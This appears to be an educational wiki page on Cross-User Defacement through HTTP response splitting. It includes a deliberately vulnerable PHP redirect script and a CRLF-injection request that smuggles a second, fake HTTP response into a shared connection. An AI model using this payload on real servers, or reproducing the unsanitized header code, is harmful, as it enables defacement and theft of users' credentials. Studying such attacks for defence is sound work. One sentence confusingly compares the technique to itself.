Cross-User Defacement

 
  • Description

An attacker can make a single request to a vulnerable server that will cause the sever to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the sever. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

This attack is rather difficult to carry out in the real environment. The list of conditions is long and hard to accomplish by the attacker. However it's easier to use this technique than Cross-User Defacement.

Cross-User Defacement attack is possible because of HTTP_Response_Splitting and flaws in the web application. It is crucial from the attacker's point of view that the application allows for filling the header field with more than one header using CR (Carrige Return) and LF (Line Feed) characters.


  • Examples

    We have found a web page, which gets service name from the "page" argument and then redirects (302) to this service.

    E.g. http://testsite.com/redir.php?page=http://other.testsite.com/

    And exemplary code of the redir.php:

    rezos@spin ~/public_html $ cat redir.php
    <?php
    header ("Location: " . $_GET['page']);
    ?>
    

    Crafting appropriate requests:

    /redir.php?page=http://other.testsite.com%0d%0aContent-
    Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
    Type:%20text/html%0d%0aContent-
    Length:%2019%0d%0a%0d%0a<html>deface</html>
    

    HTTP server will respond with two (not one!) following headers:

    1

    HTTP/1.1 302 Moved Temporarily
    Date: Wed, 24 Dec 2003 15:26:41 GMT
    Location: http://testsite.com/redir.php?page=http://other.testsite.com
    Content-Length: 0
    

    2

    HTTP/1.1 200 OK
    Content-Type: text/html
    Content-Length: 19
    <html>deface</html>
    

    If user shares a TCP connection (e.g. proxy cache) and will send a request:

    /index.html

    the response #2 will be send to him as an answer to his request.

    This way it was possible to replace the web page, which was served to the specified user.